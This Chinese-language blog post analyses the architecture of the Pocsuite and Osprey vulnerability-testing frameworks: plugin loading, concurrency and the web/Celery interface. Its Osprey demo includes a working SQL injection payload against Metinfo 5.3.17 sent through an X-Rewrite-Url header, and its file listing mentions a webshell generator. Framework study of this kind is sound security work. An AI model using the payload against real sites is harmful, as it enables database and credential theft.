Pocsuite框架简介以及功能
Pocsuite框架是由知道创宇开发的远程漏洞测试框架,基于pocsuite的SDK进行POC/EXP的开发,可以很方便的检验或者攻击。
Pocsuite目录结构
Pocsuite. │ pcs-attack.py Attack 模式 │ pcs-console.py 交互式控制台模式(console) │ pcs-verify.py Verify 模式 │ pocsuite.py 命令行模式(cli) │ README.md │ setup.py │ ├─.github │ ISSUE_TEMPLATE.md │ ├─docs │ │ CHANGELOG.md │ │ CODING.md │ │ COPYING │ │ INTEGRATE.md │ │ THANKS.md │ │ USAGE.md │ │ │ ├─images │ │ poc_json_attack.png │ │ poc_json_verify.png │ │ │ └─translations │ README-zh.md │ USAGE-zh.md │ ├─modules Pocsuit demo poc │ detect_doublepulsar.py │ dlink_command_php_exec_noauth.py │ wordpress_core_4_6_rce.py │ └─pocsuite │ pocsuite_attack.py Attack 模式 │ pocsuite_cli.py 命令行模式(cli) │ pocsuite_console.py 交互式控制台模式(console) │ pocsuite_verify.py Verify 模式 │ __init__.py │ ├─api │ cannon.py Class pocsuite.api.cannon.Cannon returns details of error and failure of a PoC │ packet.py 内置接口API │ poc.py 内置接口API │ rcGen.py 存储seebug token │ request.py 内置接口API │ seebug.py 登陆seebug API │ utils.py 内置utils接口API │ webshell.py 生成webshell后门 │ x.py Zoomeye Seebug相关API │ zoomeye.py │ __init__.py │ ├─data │ password-top100.txt 弱密码 Top100 │ password-top1000.txt │ token.conf │ user-agents.txt │ ├─lib │ │ __init__.py │ │ │ ├─controller │ │ check.py 检测POC参数相关信息以及需要安装的python库 │ │ controller.py 线程并发控制 │ │ setpoc.py 设置POC文件 │ │ __init__.py │ │ │ ├─core │ │ common.py 公共函数库 │ │ consoles.py console模式 │ │ convert.py 替换print输出模式 │ │ data.py 全局变量存放 │ │ datatype.py │ │ defaults.py │ │ enums.py 枚举类型 │ │ exception.py 异常类型 │ │ handlejson.py │ │ log.py log输出 │ │ option.py 解析选项 │ │ poc.py POC基类 OUPUT基类 │ │ register.py 注册POC │ │ revision.py │ │ settings.py 设置信息 │ │ threads.py 线程设置信息 │ │ update.py │ │ __init__.py │ │ │ ├─parse │ │ parser.py 选项解析 │ │ __init__.py │ │ │ ├─request │ │ basic.py │ │ requestspatch.py │ │ __init__.py │ │ │ └─utils │ funs.py function函数 │ packet.py socket相关模块 │ parseopener.py │ password.py 获取弱密码Top100 │ randoms.py 生成随机字符串/数字 │ require.py 检测必须参数等 │ requirescheck.py │ seebug.py Seebug相关接口 │ versioncheck.py Python版本相关验证 │ zoomeye.py zoomeye相关接口 │ __init__.py │ ├─tests │ test_pocsuite.py │ __init__.py │ └─thirdparty │ __init__.py │ ├─ansistrm │ ansistrm.py │ __init__.py │ ├─argparse │ argparse.py │ __init__.py │ ├─colorama │ ansi.py │ ansitowin32.py │ initialise.py │ win32.py │ winterm.py │ __init__.py │ ├─odict │ odict.py │ __init__.py │ ├─oset │ LICENSE.txt │ pyoset.py │ _abc.py │ __init__.py │ ├─prettytable │ CHANGELOG │ COPYING │ MANIFEST.in │ PKG-INFO │ prettytable.py │ README │ __init__.py │ ├─pyparsing │ │ CHANGES │ │ HowToUsePyparsing.html │ │ LICENSE │ │ PKG-INFO │ │ pyparsing.py │ │ pyparsingClassDiagram.JPG │ │ pyparsingClassDiagram.PNG │ │ README │ │ robots.txt │ │ setup.py │ │ __init__.py │ │ │ └─htmldoc │ api-objects.txt │ class-tree.html │ crarr.png │ epydoc.css │ epydoc.js │ frames.html │ help.html │ identifier-index.html │ index.html │ module-tree.html │ pyparsing.pyparsing-module.html │ pyparsing.pyparsing-pysrc.html │ pyparsing.pyparsing.And-class.html │ pyparsing.pyparsing.CaselessKeyword-class.html │ pyparsing.pyparsing.CaselessLiteral-class.html │ pyparsing.pyparsing.CharsNotIn-class.html │ pyparsing.pyparsing.Combine-class.html │ pyparsing.pyparsing.Dict-class.html │ pyparsing.pyparsing.Each-class.html │ pyparsing.pyparsing.Empty-class.html │ pyparsing.pyparsing.FollowedBy-class.html │ pyparsing.pyparsing.Forward-class.html │ pyparsing.pyparsing.GoToColumn-class.html │ pyparsing.pyparsing.Group-class.html │ pyparsing.pyparsing.Keyword-class.html │ pyparsing.pyparsing.LineEnd-class.html │ pyparsing.pyparsing.LineStart-class.html │ pyparsing.pyparsing.Literal-class.html │ pyparsing.pyparsing.MatchFirst-class.html │ pyparsing.pyparsing.NoMatch-class.html │ pyparsing.pyparsing.NotAny-class.html │ pyparsing.pyparsing.OneOrMore-class.html │ pyparsing.pyparsing.OnlyOnce-class.html │ pyparsing.pyparsing.Optional-class.html │ pyparsing.pyparsing.Or-class.html │ pyparsing.pyparsing.ParseBaseException-class.html │ pyparsing.pyparsing.ParseElementEnhance-class.html │ pyparsing.pyparsing.ParseException-class.html │ pyparsing.pyparsing.ParseExpression-class.html │ pyparsing.pyparsing.ParseFatalException-class.html │ pyparsing.pyparsing.ParserElement-class.html │ pyparsing.pyparsing.ParseResults-class.html │ pyparsing.pyparsing.ParseSyntaxException-class.html │ pyparsing.pyparsing.QuotedString-class.html │ pyparsing.pyparsing.RecursiveGrammarException-class.html │ pyparsing.pyparsing.Regex-class.html │ pyparsing.pyparsing.Regex.compiledREtype-class.html │ pyparsing.pyparsing.SkipTo-class.html │ pyparsing.pyparsing.StringEnd-class.html │ pyparsing.pyparsing.StringStart-class.html │ pyparsing.pyparsing.Suppress-class.html │ pyparsing.pyparsing.Token-class.html │ pyparsing.pyparsing.TokenConverter-class.html │ pyparsing.pyparsing.Upcase-class.html │ pyparsing.pyparsing.White-class.html │ pyparsing.pyparsing.Word-class.html │ pyparsing.pyparsing.WordEnd-class.html │ pyparsing.pyparsing.WordStart-class.html │ pyparsing.pyparsing.ZeroOrMore-class.html │ pyparsing_2.0.2_docs.zip │ redirect.html │ toc-everything.html │ toc-pyparsing.pyparsing-module.html │ toc.html │ ├─requests │ │ adapters.py │ │ api.py │ │ auth.py │ │ cacert.pem │ │ certs.py │ │ compat.py │ │ cookies.py │ │ exceptions.py │ │ hooks.py │ │ models.py │ │ sessions.py │ │ status_codes.py │ │ structures.py │ │ utils.py │ │ __init__.py │ │ │ └─packages │ │ __init__.py │ │ │ ├─chardet │ │ big5freq.py │ │ big5prober.py │ │ chardetect.py │ │ chardistribution.py │ │ charsetgroupprober.py │ │ charsetprober.py │ │ codingstatemachine.py │ │ compat.py │ │ constants.py │ │ cp949prober.py │ │ escprober.py │ │ escsm.py │ │ eucjpprober.py │ │ euckrfreq.py │ │ euckrprober.py │ │ euctwfreq.py │ │ euctwprober.py │ │ gb2312freq.py │ │ gb2312prober.py │ │ hebrewprober.py │ │ jisfreq.py │ │ jpcntx.py │ │ langbulgarianmodel.py │ │ langcyrillicmodel.py │ │ langgreekmodel.py │ │ langhebrewmodel.py │ │ langhungarianmodel.py │ │ langthaimodel.py │ │ latin1prober.py │ │ mbcharsetprober.py │ │ mbcsgroupprober.py │ │ mbcssm.py │ │ sbcharsetprober.py │ │ sbcsgroupprober.py │ │ sjisprober.py │ │ universaldetector.py │ │ utf8prober.py │ │ __init__.py │ │ │ └─urllib3 │ │ connection.py │ │ connectionpool.py │ │ exceptions.py │ │ fields.py │ │ filepost.py │ │ poolmanager.py │ │ request.py │ │ response.py │ │ _collections.py │ │ __init__.py │ │ │ ├─contrib │ │ ntlmpool.py │ │ pyopenssl.py │ │ __init__.py │ │ │ ├─packages │ │ │ ordered_dict.py │ │ │ six.py │ │ │ six.pyc │ │ │ __init__.py │ │ │ │ │ └─ssl_match_hostname │ │ _implementation.py │ │ __init__.py │ │ │ └─util │ connection.py │ request.py │ response.py │ retry.py │ ssl_.py │ timeout.py │ url.py │ __init__.py │ ├─socks socket代理相关 │ PKG-INFO │ setup.py │ socks.py │ sockshandler.py │ __init__.py │ └─termcolor termcolor.py __init__.py
Pocsuite模块(payload)加载
远程加载
pocsuite远程加载poc,通过访问seebug API,API返回seebug SSV-ID以及源、POC代码,程序保存文件到模块目录命名为{ssv-id}.py,然后通过本地加载加载模块执行
本地加载
pocsuite通过对命令中pocFile参数解析,pocFile可以为一个文件或者一个目录,通过loadPoc加载pocFile。pocsuite\lib\controller\setpoc.py
中loadPoc
定义如下
def loadPoc(pocFile): if pocFile.endswith(".pyc"): conf.isPycFile = True if conf.isPocString: poc = conf.pocFile if not conf.pocname: if conf.pocFile: conf.pocname = os.path.split(conf.pocFile)[1] else: errMsg = "Use pocString must provide pocname" logger.log(CUSTOM_LOGGING.ERROR, errMsg) pocname = conf.pocname else: pocname = os.path.split(pocFile)[1] poc = readFile(pocFile) if not conf.isPycFile: if not re.search(POC_REGISTER_REGEX, poc): warnMsg = "poc: %s register is missing" % pocname logger.log(CUSTOM_LOGGING.WARNING, warnMsg) className = getPocClassName(poc) poc += POC_REGISTER_STRING.format(className) retVal = multipleReplace(poc, POC_IMPORTDICT) else: retVal = poc return {pocname: retVal}
loadPoc对poc代码进行检测,以正则register\(.*\)
检测代码,如果失败则使用下列代码formatPOC_REGISTER_STRING = "\nfrom pocsuite.api.poc import register\nregister({})"
POC_IMPORTDICT = { "from pocsuite.net import": "from pocsuite.lib.request.basic import", "from pocsuite.poc import": "from pocsuite.lib.core.poc import", "from pocsuite.utils import register": "from pocsuite.lib.core.register import registerPoc as register", }
进行替换
所有poc代码最后都存入了kb.pocs字典。执行模块,调用模块内的registerPoc
将pocname,以及poc函数注册到kb.registeredPocs中。
对kb.registeredPocs
检测是否存在下列接口
POC_ATTRS = ("vulID", "version", "author", "vulDate", "name", "appVersion", "desc", "createDate", "updateDate", "references", "appPowerLink", "vulType", "appName")
最后将url与poc函数以url,pocFunction,pocName
的形式组合到kb.targets
kb.targets.put((url, copy.copy(poc), pocname))
Pocsuite并发控制
pocsuite并发控制比较简单,主要以多线程为主,位于pocsuite\lib\core\threads.py
runThreads
函数,函数简化后如下:
def runThreads(numThreads, threadFunction): threads = [] try: if numThreads > 1: if startThreadMsg: infoMsg = "starting %d threads" % numThreads logger.log(CUSTOM_LOGGING.SYSINFO, infoMsg) else: threadFunction() return for numThread in xrange(numThreads): thread = threading.Thread(target=threadFunction, name=str(numThread)) setDaemon(thread) try: thread.start() except threadError, errMsg: pass threads.append(thread) # And wait for them to all finish alive = True while alive: alive = False for thread in threads: if thread.isAlive(): alive = True time.sleep(0.1) except KeyboardInterrupt: pass except (PocsuiteConnectionException, PocsuiteValueException), errMsg: pass except: pass
pocThreads
函数意思为从kb.targets取出目标执行,然后通过runThreads(numThreads, pocThreads)执行并发
Pocsuite 内置接口
Pocsuite POC开发需要以POCBase为基类,填写poc相关信息变量("vulID", "version", "author", "vulDate", "name", "appVersion", "desc", "createDate", "updateDate", "references", "appPowerLink", "vulType", "appName")
重写其中的 _attack
以及 _verify
方法。最后调用register(TestPOC)
。
Pocsuite优点以及缺点
Pocsuite优点为强制性要求填写poc相关的所有参数,所有POC需要规范代码,方便扫描器统一处理和调度。支持console模式
Osprey 简介以及功能
「Osprey」是TCC研发的一款开源漏洞检测框架,应用在斗象科技旗下产品网藤CRS(www.riskivy.com/product/crs),并已同步到Github开源社区。
Osprey是一个可扩展的开源漏洞检测与利用框架(Python3开发),Osprey框架可供使用者在渗透测试、漏洞检测、漏洞扫描等场景中应用。
Osprey 编写规范和要求说明
osprey使用Python3开发,PoC脚本也应使用py3.
目录结构
Osprey.
│ BasePoc.py POC模板基类
│ config.yaml 配置文件
│ osprey.py 启动文件
│ README.md
│ requirements.txt
│ settings.py 程序相关设置文件
│ setup.py
│ utils.py POC插件常用函数
│
├─console
│ osprey-console.py osprey-console 控制命令模式
│ __init__.py
│
├─core
│ PocManager.py POC插件加载运行相关控制
│ RunPoc.py POC插件运行机制
│ __init__.py
│
├─doc
│ PoC_specification.md
│ web_api_tutorial.md
│
├─docker
│ docker-compose.yml
│ dockerfile-osprey
│ osprey-web.png
│ start-osprey.sh
│
├─lib
│ │ log.py
│ │ payload.py header头
│ │ requests.py 封装requests
│ │ __init__.py
│ │
│ └─core
│ cmdparser.py 命令行解析
│ config.py config加载
│ datatype.py AttribDict字典类
│ db.py 数据库相关
│ display.py 展示结果相关类
│ gevent.py gevent协程类
│ prepare.py 命令行预处理
│ req.py requests更上层封装
│ __init__.py
│
├─pocs
│ vb_2017_0060_Metinfo_5_3_17_X_Rewrite_url_Sql_Injection.py
│ __init__.py
│
├─thirdparty
│ │ __init__.py
│ │
│ └─requests_toolbelt
│ │ exceptions.py
│ │ sessions.py
│ │ streaming_iterator.py
│ │ _compat.py
│ │ __init__.py
│ │
│ ├─adapters
│ │ appengine.py
│ │ fingerprint.py
│ │ host_header_ssl.py
│ │ socket_options.py
│ │ source.py
│ │ ssl.py
│ │ __init__.py
│ │
│ ├─auth
│ │ guess.py
│ │ handler.py
│ │ http_proxy_digest.py
│ │ _digest_auth_compat.py
│ │ __init__.py
│ │
│ ├─cookies
│ │ forgetful.py
│ │ __init__.py
│ │
│ ├─downloadutils
│ │ stream.py
│ │ tee.py
│ │ __init__.py
│ │
│ ├─multipart
│ │ decoder.py
│ │ encoder.py
│ │ __init__.py
│ │
│ ├─threaded
│ │ pool.py
│ │ thread.py
│ │ __init__.py
│ │
│ └─utils
│ deprecated.py
│ dump.py
│ formdata.py
│ user_agent.py
│ __init__.py
│
└─web
│ check.py check_task_id 检测任务id
│ osprey-web.py osprey-web WEB接口
│ requirements.txt
│ SubProcess.py 封装SUBPROCESS
│ task.py 命令行模式执行命令
│ __init__.py
│
└─static
index.html
PoC脚本命名规范
文件名称由VID和英文描述两部分组成,VID号以“vbyear_xxxx”为格式,英文描述需遵循驼峰命名法,使用“”连接,尽量体现存在漏洞的组建、版本、路径、漏洞类型等信息。
由于osprey调用PoC脚本时是通过–v参数指定选用某个PoC的,因此文件名格式必须正确包含VID号且唯一。
命名示例:vb_2017_0060_Metinfo_5_3_17_X_Rewrite_url_Sql_Injection.py
POC编写Demo
from BasePoc import BasePoc # 导入BasePoc,是PoC脚本实现的类中必须继承的基类 from utils import tree, highlight, req # utils实现了一些常用函数,可以直接导入方便使用 from urllib.parse import urljoin # 导入其他的脚本需要用到的模块 POC_NAME = "MetinfoXRewriteurlSQLInjection" # PoC脚本中实现的类名,osprey架将根据POC_NAME去实例化类以达到调用的效果,因此类名应与该变量名保持相同 class MetinfoXRewriteurlSQLInjection(BasePoc): # PoC实现类,需继承BasePoc # 为PoC填充poc_info、scan_info、test_case三个字典中的基本信息 poc_info = { 'poc': { 'Id': 'vb_2017_0060', # PoC的VID编号 'vbid': '', 'Name': 'Metinfo 5.3.17 X-Rewrite-url SQL Injection', # PoC名称 'Author': 'ice.liao', # PoC作者 'Create_date': '2017-08-15', # PoC创建时间 }, 'vul': { 'Product': 'Metinfo', # 漏洞所在产品名称 'Version': '5.3.17', # 产品的版本号 'Type': 'SQL Injection', # 漏洞类型 'Severity': 'critical', # 漏洞危害等级low/medium/high/critical 'isWeb' : True, # 是否Web漏洞 'Description': ''' MetInfo是中国长沙米拓信息技术有限公司的一套使用PHP和Mysql开发的内容管理系统(CMS) 危害: 网站数据库信息可造成泄漏,管理员密码可被远程攻击者获得 修复建议: 前往http://www.metinfo.cn/download/下载最新版本 ''', # 漏洞简要描述 'DisclosureDate': '2017-08-11', # PoC公布时间 } } # scan_info信息可以保持默认,相关参数如target/mode/verbose在osprey中都可以通过命令行参数设置 scan_info = { 'Target': '', # 目标网站域名 'Mode': 'verify', # verify或exploit 'Verbose': True, # 是否打印详细信息 'Error': '', # 检测失败时可用于记录相关信息 'Success': False, # 是否检出漏洞,若检出请更新该值为True 'risk_category': 'sec_vul', 'Ret': tree() # 可用于记录额外的一些信息 } test_case = { 'Need_fb': False, 'Vuln': [], # 列表格式的测试URL 'Not_vuln': [], # 同上 } def verify(self, first=False): # 漏洞验证方法(mode=verify) target = self.scan_info.get("Target", "") # 获取测试目标 verbose = self.scan_info.get("Verbose", False) # 是否打印详细信息 # 以下是PoC的检测逻辑 url = urljoin(target,'index.php?lang=Cn&index=1') payload = "1/2/zxxza' union select 1,2,3,md5(0x11),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29#/index.php" headers = { "X-Rewrite-Url": payload } location = "" # 使用req做HTTP请求的发送和响应的处理,req是TCC框架将requests的HTTP请求方法封装成统一的req函数,使用req(url, method, **kwargs),参数传递同requests resp = req(url, 'get', headers=headers, allow_redirects=False) if resp is not None: location = resp.headers.get("Location", "") if "47ed733b8d10be225eceba344d533586" in location: self.scan_info['Success'] = True # 漏洞存在,必须将该字段更新为True(必须) self.scan_info['Ret']['VerifyInfo']['URL'] = url # 记录漏洞相关的一些额外信息(可选) self.scan_info['Ret']['VerifyInfo']['DATA'] = "X-Rewrite-Url:" + payload if verbose: highlight('[*] Metinfo 5.3.17 X-Rewrite-url SQL Injection found') # 打印高亮信息发现漏洞,其他可用方法包括info()/warn()/error()/highlight()方法分别打印不同等级的信息 def exploit(self, first=False): # 漏洞利用方法(mode=verify) self.verify(first=first)
class继承自BasePoc.py
的BasePoc
Class.重写其中的verify
方法和attack
方法。
utils.py提供内置函数调用
from utils import * now() # 返回当前时间,格式为:“YYYY-MM-DD HH:MM:SS,MS”,逗号后为毫秒 is_same_domain(url1, url2) # 判断2个URL是否为同域,此处并非严格的同源。端口不同或协议不同均判断为同域 get_absolute_url(base, url) # 获取URL的绝对路径 retrieve_url_from_page(p_url, keyword, depth) # 从p_url页面中查找获取含指定关键字的URL链接 retrieve_url_from_spider(spider) # 从爬虫URL文件中获取URL链接 normalize_url(url) # 格式化不规范的URL为http://xxx/ valid_status_code(status_code) # 判断HTTP请求的返回状态码,当状态码为4XX-5XX时返回False target_handler(target, port, payload) # 对url进行port和payload的拼接,返回一个列表 get_scan_info(scan_info) # 返回scan_info中的Target和Verbose数据 isIP(target) # 判断输入数据是否是IP get_html(url, **kwargs) # 发起GET请求取回Response body,注意返回的数据格式为bytes类型 url_join(base, url) # 对两个路径进行拼接 info(message) # 打印info日志 warn(message) # 打印warn日志 error(message) # 打印error日志 highlight(message) # 打印highlight日志
Osprey 插件加载机制
Osprey\core\PocManager.py
PoCManager
定义了POC插件加载以及运行的相关机制_load_poc
def _load_poc(self, poc_vid): specify_pocs = {} poc_names = [name for name in os.listdir(self.fb.poc_setting.dir_name) if name.startswith("vb_") and name.endswith(".py")] # 遍历出目录内的插件 if poc_vid == ["all"]: for poc_name in poc_names: vid = "_".join(poc_name.split("_")[:3]) specify_pocs[vid] = poc_name else: for vid in poc_vid: for poc_name in poc_names: if vid in poc_name: specify_pocs[vid] = poc_name break # poc_vid 为all时,加载全部插件,否则加载制定vid插件 poc_classes = collections.defaultdict(list) # poc_classes = {vid1: [name1, class1], vid2: [name2, class2], vid3: [name3, class3]} for vid, poc in specify_pocs.items(): try: module_name = "{}.{}".format(self.fb.poc_setting.dir_name, poc)[:-3].split("/")[-1] __import__(module_name) # 动态引入模块 tmp = sys.modules[module_name] # 获得模块实例 poc_classes[vid] = [module_name, getattr(tmp, getattr(tmp, "POC_NAME"))] # 存储模块实例和类实例 except ImportError as e: log.warn("Failed to import PoC {}. {}".format(poc, e)) continue except Exception as e: log.warn("Failed to load PoC {}. {}".format(poc, e)) continue return poc_classes
之后将target和poc_classes组合加入协程队列
poc_classes = self._load_poc(vids) result_queue = queue.Queue() task_queue = queue.Queue() for target in targets: for poc_class in poc_classes.items(): task_queue.put_nowait([target, poc_class]) # [target, (vid1, [name1, class1])]
Osprey 并发机制
Osprey的并发使用协程。
run_poc = [RunPoc(task_queue, task_info, result_queue, self.fb) for i in range(self.fb.poc_setting.thread_num)] def task(): p = run_poc.pop() try: p.start() finally: run_poc.append(p) # 保持不中断 start_gevent_pool_skip_empty(self.fb.poc_setting.thread_num, task)
Osprey\lib\core\gevent.py
def start_gevent_pool_skip_empty(thread_num, func, *args, **kwargs):
gevent_pool = Pool(thread_num)
for i in range(thread_num):
gevent_pool.spawn(partial(gevent_skip_empty_func, func, *args, **kwargs))
gevent_pool.join()
def gevent_skip_empty_func(func, *args, **kwargs):
while True:
try:
func(*args, **kwargs)
except queue.Empty:
break
except (requests.exceptions.Timeout, requests.exceptions.ConnectionError) as e:
log.warn(e)
except Exception:
log.error(traceback.format_exc())
continue
后面结果结果处理加入到result队列
results_list = [] results = {task_id: collections.defaultdict(dict)} while not result_queue.empty(): # tmp = [poc_name, poc.poc_info, poc.scan_info] tmp = result_queue.get_nowait() results_list.append(tmp) results[task_id][tmp[0]] = {"poc_info": {}, "scan_info": []} for result in results_list: results[task_id][result[0]]["scan_info"].append(result[2]) if results[task_id][result[0]]["poc_info"]: continue results[task_id][result[0]]["poc_info"] = result[1] if task_flag: _now = now()[:-4] self.db.save_result(task_id, results[task_id], _now) self.db.save_basic(task_id, _now) else: return results[task_id] # 写入数据库或者返回
Osprey WEB接口
osprey-web使用Flask提供Web Service,使用Celery以任务队列的形式调度和下发检测任务。数据库存储使用mongodb,消息队列使用amqp,分布式使用celery
$ curl http://127.0.0.1:5000/api/start -d '{"task_id": "TASK_ID", "vid": "vb_ID", "target": "http://x.com/"}' $ curl http://127.0.0.1:5000/api/result -d '{"task_id": "TASK_ID"}'
Osprey WEB下发任务
web调用任务会调用celery任务start_task_func
start_task_func作用为启动子进程填写参数运行osprey.py
Osprey\web\task.py
import os import psutil import signal from core.PocManager import PoCManager from lib.log import logger as log from settings import PROGRAM, DST_FILE from web.SubProcess import SubProcess def start_poc_task(task_data): def kill_child_processes(parent_pid, sig=signal.SIGTERM): try: p = psutil.Process(parent_pid) except psutil.NoSuchProcess: return child_pid = p.children(recursive=True) for pid in child_pid: os.kill(pid.pid, sig) cmd_list = [PROGRAM, DST_FILE] cmd_list.extend(['''--target={}'''.format(task_data.get("target", ""))]) cmd_list.extend(['''--vid={}'''.format(task_data.get("vid", ""))]) cmd_list.extend(['''--task_id={}'''.format(task_data.get("task_id", ""))]) cmd_list.extend(['''--mode={}'''.format(task_data.get("mode", "verify"))]) cmd_list.extend(['''--quiet''' if not task_data.get("verbose", True) else ""]) cmd_list.extend(['''--cookies={}'''.format(task_data.get("cookies", "x"))]) cmd_list.extend(['''--proxy={}'''.format(task_data.get("proxy", "x"))]) cmd_list.extend(['''--headers={}'''.format(task_data.get("headers", "x"))]) if task_data.get("poc_dir"): cmd_list.extend(['''--poc-dir={}'''.format(task_data.get("poc_dir"))]) manager_process = SubProcess(cmd_list).run() # Process timeout if manager_process['status'] == 1: process = manager_process['proc'] log.info("process {} is timeout when scanning [{}]-[{}]-[{}],terminating...".format( process.pid, task_data.get("task_id"), task_data.get("vid", ""), task_data.get("target", ""))) PoCManager.exit_write2db(task_data.get("task_id", "")) kill_child_processes(process.pid) process.kill() process.wait() if manager_process['status'] == -1: process = manager_process['proc'] log.info("process {} is been revoked when scanning [{}]-[{}].".format( process.pid, task_data.get("vid", ""), task_data.get("target", "")))
Osprey WEB获取结果
WEB获取结果通过task_id查询数据库获得。
Osprey Celery 分布式调度系统
osprey-web中定义了Celery taskOsprey\web\osprey-web.py
@celery.task(queue="poc-queue") def start_task_func(task_data): start_poc_task(task_data)
start_poc_task用于下发任务
Osprey与Pocsuite异同
两者的POC接口需要按照指定格式编写,插件加载方式上Osprey与Pocsuite都是本地加载(Pocsuite远程加载也是下载到本地再加载)在调用,并发控制上Pocsuite使用多线程,而Osprey使用协程。二者都提供交互式Console接口。
发表评论